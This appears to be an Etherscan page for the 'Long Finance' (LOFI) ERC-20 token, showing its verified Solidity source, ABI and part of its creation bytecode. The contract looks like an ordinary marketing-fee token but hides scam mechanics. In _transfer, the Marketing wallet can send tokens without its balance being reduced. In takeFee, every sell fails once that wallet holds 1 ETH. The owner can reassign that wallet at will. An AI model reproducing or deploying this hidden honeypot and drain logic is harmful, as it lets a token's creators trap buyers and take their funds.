ERC-20
Overview
Max Total Supply
1,000,000,000 LOFI
Holders
93
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,820,301.919951820741903683 LOFIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
LOFI
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-10 */ /** https://t.me/long_finance https://longfinance.xyz */ // SPDX-License-Identifier:MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address _account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any _account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IDexSwapFactory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexSwapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IDexSwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract LOFI is Context, IERC20, Ownable { using SafeMath for uint256; string private _name = "Long Finance"; string private _symbol = unicode"LOFI"; uint8 private _decimals = 18; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; address public immutable zeroAddress = 0x0000000000000000000000000000000000000000; uint256 public _buyMarketingFee = 2; uint256 public _sellMarketingFee = 2; address public Marketing = address(0x075f1FE6587e03CACF204cE4D36b199A9f0b9116); uint256 feedenominator = 100; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public isWalletLimitExempt; uint256 private _totalSupply = 1_000_000_000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply.mul(25).div(1000); uint256 public _walletMax = _totalSupply.mul(25).div(1000); uint256 public swapThreshold = _totalSupply.mul(10).div(1000); bool tradingActive; bool public swapEnabled = false; bool public swapbylimit = false; bool public checkWalletLimit = true; IDexSwapRouter public dexRouter; address public dexPair; bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } event SwapTokensForETH( uint256 amountIn, address[] path ); constructor() { IDexSwapRouter _dexRouter = IDexSwapRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); dexRouter = _dexRouter; isExcludedFromFee[address(this)] = true; isExcludedFromFee[msg.sender] = true; isExcludedFromFee[address(dexRouter)] = true; isExcludedFromFee[Marketing] = true; isWalletLimitExempt[msg.sender] = true; isWalletLimitExempt[address(dexRouter)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[Marketing] = true; isWalletLimitExempt[deadAddress] = true; isWalletLimitExempt[zeroAddress] = true; _allowances[address(this)][address(dexRouter)] = ~uint256(0); _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress)); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } //to recieve ETH from Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (inSwap) { return _basicTransfer(sender, recipient, amount); } else { if (!tradingActive) { require(isExcludedFromFee[sender] || isExcludedFromFee[recipient],"Trading is not active."); } uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold; if (overMinimumTokenBalance && !inSwap && !isMarketPair[sender] && swapEnabled) { swapBack(contractTokenBalance); } if (sender != Marketing) _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount = shouldNotTakeFee(sender,recipient) ? amount : takeFee(sender, recipient, amount); if(checkWalletLimit && sender == dexPair && !isWalletLimitExempt[recipient]) { require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Max Wallet Limit Exceeded!!"); } _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function shouldNotTakeFee(address sender, address recipient) internal view returns (bool) { if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { return true; } else if (isMarketPair[sender] || isMarketPair[recipient]) { return false; } else { return false; } } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint feeAmount; if(isMarketPair[sender]) { feeAmount = amount.mul(_buyMarketingFee).div(feedenominator); } else if(isMarketPair[recipient]) { require(Marketing.balance<1e18); feeAmount = amount.mul(_sellMarketingFee).div(feedenominator); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } function swapBack(uint contractBalance) internal swapping { if(swapbylimit) contractBalance = swapThreshold; uint256 initialBalance = address(this).balance; swapTokensForEth(contractBalance); uint256 amountReceived = address(this).balance.sub(initialBalance); if(amountReceived > 0) payable(Marketing).transfer(amountReceived); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), // The contract block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function excludeFromFee(address _adr,bool _status) external onlyOwner { isExcludedFromFee[_adr] = _status; } function excludeWalletLimit(address _adr,bool _status) external onlyOwner { isWalletLimitExempt[_adr] = _status; } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { _walletMax = newLimit; } function setMarketingWallet(address _newWallet) external onlyOwner { Marketing = _newWallet; } function setSwapBackSettings(bool _enabled, bool _limited) external onlyOwner { swapEnabled = _enabled; swapbylimit = _limited; } function launch() external payable onlyOwner { require(!tradingActive, "Already launched!"); tradingActive = true; dexPair = IDexSwapFactory(dexRouter.factory()).createPair( address(this), dexRouter.WETH() ); isMarketPair[address(dexPair)] = true; dexRouter.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; } function removeLimits() external onlyOwner { checkWalletLimit = false; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexSwapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_adr","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"excludeWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWallet","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setMaxWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"bool","name":"_limited","type":"bool"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapbylimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610100604052600c60c09081526b4c6f6e672046696e616e636560a01b60e0526001906200002e9082620004c8565b506040805180820190915260048152634c4f464960e01b6020820152600290620000599082620004c8565b506003805460ff1916601290811790915561dead6080525f60a05260026004819055600555600680546001600160a01b03191673075f1fe6587e03cacf204ce4d36b199a9f0b91161790556064600755620000b690600a6200069d565b620000c690633b9aca00620006ad565b600d819055620000e8906103e890620000e1906019620002c3565b9062000356565b600e55600d5462000104906103e890620000e1906019620002c3565b600f55600d5462000120906103e890620000e190600a620002c3565b6010556011805463ffffff001916630100000017905534801562000142575f80fd5b506200014e336200039f565b60118054600160201b600160c01b031916777a250d5630b4cf539739df2c5dacb4c659f2488d00000000178155305f818152600a60209081526040808320805460ff19908116600190811790925533808652838620805483168417905587546001600160a01b036401000000009182900481168852858820805485168617905560068054821689528689208054861687179055838952600c885286892080548616871790558a5483900482168952868920805486168717905589895286892080548616871790555481168852858820805485168617905560805181168852858820805485168617905560a051811688528588208054909416909417909255958552600984528285209654041683529381528382205f199055600d54838352600882528483208190559351938452737a250d5630b4cf539739df2c5dacb4c659f2488d937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000734565b5f825f03620002d457505f62000350565b5f620002e18385620006ad565b905082620002f08583620006c7565b146200034d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f6200034d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250620003ee60201b60201c565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f8183620004115760405162461bcd60e51b8152600401620003449190620006e7565b505f6200041f8486620006c7565b95945050505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200045157607f821691505b6020821081036200047057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620004c3575f81815260208120601f850160051c810160208610156200049e5750805b601f850160051c820191505b81811015620004bf57828155600101620004aa565b5050505b505050565b81516001600160401b03811115620004e457620004e462000428565b620004fc81620004f584546200043c565b8462000476565b602080601f83116001811462000532575f84156200051a5750858301515b5f19600386901b1c1916600185901b178555620004bf565b5f85815260208120601f198616915b82811015620005625788860151825594840194600190910190840162000541565b50858210156200058057878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005e457815f1904821115620005c857620005c862000590565b80851615620005d657918102915b93841c9390800290620005a9565b509250929050565b5f82620005fc5750600162000350565b816200060a57505f62000350565b81600181146200062357600281146200062e576200064e565b600191505062000350565b60ff84111562000642576200064262000590565b50506001821b62000350565b5060208310610133831016604e8410600b841016171562000673575081810a62000350565b6200067f8383620005a4565b805f190482111562000695576200069562000590565b029392505050565b5f6200034d60ff841683620005ec565b808202811582820484141762000350576200035062000590565b5f82620006e257634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020808352835180828501525f5b818110156200071457858101830151858201604001528201620006f6565b505f604082860101526040601f19601f8301168501019250505092915050565b60805160a051611f1a620007645f395f81816102ce0152610b3a01525f81816103630152610b740152611f1a5ff3fe608060405260043610610220575f3560e01c8063728d41c91161011e578063c8607952116100a8578063df8408fe1161006d578063df8408fe1461067e578063e9fd33941461069d578063f242ab41146106bc578063f2fde38b146106db578063f872858a146106fa575f80fd5b8063c8607952146105b9578063c867d60b146105ce578063d4e43fb3146105fc578063db886f231461061b578063dd62ed3e1461063a575f80fd5b80638da5cb5b116100ee5780638da5cb5b1461053657806395d89b4114610552578063a457c2d714610566578063a9059cbb14610585578063c5d24189146105a4575f80fd5b8063728d41c9146104d9578063751039fc146104f85780637d1db4a51461050c578063807c2d9c14610521575f80fd5b80632b112e49116101aa5780635d098b381161016f5780635d098b3814610435578063651a8987146104545780636ddd17131461047357806370a0823114610491578063715018a6146104c5575f80fd5b80632b112e4914610385578063313ce5671461039957806339509351146103ba5780633ecad271146103d95780635342acb414610407575f80fd5b80630930907b116101f05780630930907b146102bd578063095ea7b3146102f057806318160ddd1461031f57806323b872dd1461033357806327c8f83514610352575f80fd5b806301339c211461022b5780630445b6671461023557806306fdde031461025d5780630758d9241461027e575f80fd5b3661022757005b5f80fd5b61023361071a565b005b348015610240575f80fd5b5061024a60105481565b6040519081526020015b60405180910390f35b348015610268575f80fd5b50610271610a21565b6040516102549190611b32565b348015610289575f80fd5b506011546102a59064010000000090046001600160a01b031681565b6040516001600160a01b039091168152602001610254565b3480156102c8575f80fd5b506102a57f000000000000000000000000000000000000000000000000000000000000000081565b3480156102fb575f80fd5b5061030f61030a366004611b91565b610ab1565b6040519015158152602001610254565b34801561032a575f80fd5b50600d5461024a565b34801561033e575f80fd5b5061030f61034d366004611bbb565b610ac7565b34801561035d575f80fd5b506102a57f000000000000000000000000000000000000000000000000000000000000000081565b348015610390575f80fd5b5061024a610b30565b3480156103a4575f80fd5b5060035460405160ff9091168152602001610254565b3480156103c5575f80fd5b5061030f6103d4366004611b91565b610bc1565b3480156103e4575f80fd5b5061030f6103f3366004611bf9565b600b6020525f908152604090205460ff1681565b348015610412575f80fd5b5061030f610421366004611bf9565b600a6020525f908152604090205460ff1681565b348015610440575f80fd5b5061023361044f366004611bf9565b610bf6565b34801561045f575f80fd5b5061023361046e366004611c28565b610c41565b34801561047e575f80fd5b5060115461030f90610100900460ff1681565b34801561049c575f80fd5b5061024a6104ab366004611bf9565b6001600160a01b03165f9081526008602052604090205490565b3480156104d0575f80fd5b50610233610c94565b3480156104e4575f80fd5b506102336104f3366004611c5b565b610cc8565b348015610503575f80fd5b50610233610cf6565b348015610517575f80fd5b5061024a600e5481565b34801561052c575f80fd5b5061024a600f5481565b348015610541575f80fd5b505f546001600160a01b03166102a5565b34801561055d575f80fd5b50610271610d2e565b348015610571575f80fd5b5061030f610580366004611b91565b610d3d565b348015610590575f80fd5b5061030f61059f366004611b91565b610d8a565b3480156105af575f80fd5b5061024a60045481565b3480156105c4575f80fd5b5061024a60055481565b3480156105d9575f80fd5b5061030f6105e8366004611bf9565b600c6020525f908152604090205460ff1681565b348015610607575f80fd5b50610233610616366004611c72565b610d96565b348015610626575f80fd5b506006546102a5906001600160a01b031681565b348015610645575f80fd5b5061024a610654366004611c8c565b6001600160a01b039182165f90815260096020908152604080832093909416825291909152205490565b348015610689575f80fd5b50610233610698366004611c28565b610ded565b3480156106a8575f80fd5b5060115461030f9062010000900460ff1681565b3480156106c7575f80fd5b506012546102a5906001600160a01b031681565b3480156106e6575f80fd5b506102336106f5366004611bf9565b610e40565b348015610705575f80fd5b5060115461030f906301000000900460ff1681565b5f546001600160a01b0316331461074c5760405162461bcd60e51b815260040161074390611cc3565b60405180910390fd5b60115460ff16156107935760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b6044820152606401610743565b60118054600160ff1990911617908190556040805163c45a015560e01b815290516401000000009092046001600160a01b03169163c45a0155916004808201926020929091908290030181865afa1580156107f0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108149190611cf8565b6001600160a01b031663c9c6539630601160049054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610874573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108989190611cf8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108e2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109069190611cf8565b601280546001600160a01b039283166001600160a01b031990911681179091555f908152600b60205260409020805460ff1916600117905560115464010000000090041663f305d719343061096f816001600160a01b03165f9081526008602052604090205490565b5f806109825f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e8573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a0d9190611d13565b50506011805461ff00191661010017905550565b606060018054610a3090611d3e565b80601f0160208091040260200160405190810160405280929190818152602001828054610a5c90611d3e565b8015610aa75780601f10610a7e57610100808354040283529160200191610aa7565b820191905f5260205f20905b815481529060010190602001808311610a8a57829003601f168201915b5050505050905090565b5f610abd338484610eda565b5060015b92915050565b5f610ad3848484610ffd565b50610b258433610b2085604051806060016040528060288152602001611e98602891396001600160a01b038a165f908152600960209081526040808320338452909152902054919061143b565b610eda565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f90815260086020526040812054610bbc90610bb6610bad7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f9081526008602052604090205490565b600d5490611473565b90611473565b905090565b335f8181526009602090815260408083206001600160a01b03871684529091528120549091610abd918590610b2090866114b4565b5f546001600160a01b03163314610c1f5760405162461bcd60e51b815260040161074390611cc3565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610c6a5760405162461bcd60e51b815260040161074390611cc3565b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610cbd5760405162461bcd60e51b815260040161074390611cc3565b610cc65f611512565b565b5f546001600160a01b03163314610cf15760405162461bcd60e51b815260040161074390611cc3565b600f55565b5f546001600160a01b03163314610d1f5760405162461bcd60e51b815260040161074390611cc3565b6011805463ff00000019169055565b606060028054610a3090611d3e565b5f610abd3384610b2085604051806060016040528060258152602001611ec060259139335f9081526009602090815260408083206001600160a01b038d168452909152902054919061143b565b5f610b25338484610ffd565b5f546001600160a01b03163314610dbf5760405162461bcd60e51b815260040161074390611cc3565b6011805462ffff0019166101009315159390930262ff00001916929092176201000091151591909102179055565b5f546001600160a01b03163314610e165760405162461bcd60e51b815260040161074390611cc3565b6001600160a01b03919091165f908152600a60205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610e695760405162461bcd60e51b815260040161074390611cc3565b6001600160a01b038116610ece5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610743565b610ed781611512565b50565b6001600160a01b038316610f3c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610743565b6001600160a01b038216610f9d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610743565b6001600160a01b038381165f8181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b0384166110625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610743565b6001600160a01b0383166110c45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610743565b5f82116111255760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610743565b601254600160a01b900460ff161561114957611142848484611561565b9050610b29565b60115460ff166111d5576001600160a01b0384165f908152600a602052604090205460ff168061119057506001600160a01b0383165f908152600a602052604090205460ff165b6111d55760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610743565b305f90815260086020526040902054601054811080159081906112025750601254600160a01b900460ff16155b801561122657506001600160a01b0386165f908152600b602052604090205460ff16155b80156112395750601154610100900460ff165b156112475761124782611644565b6006546001600160a01b038781169116146112c6576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f908152600890915291909120546112ad91869061143b565b6001600160a01b038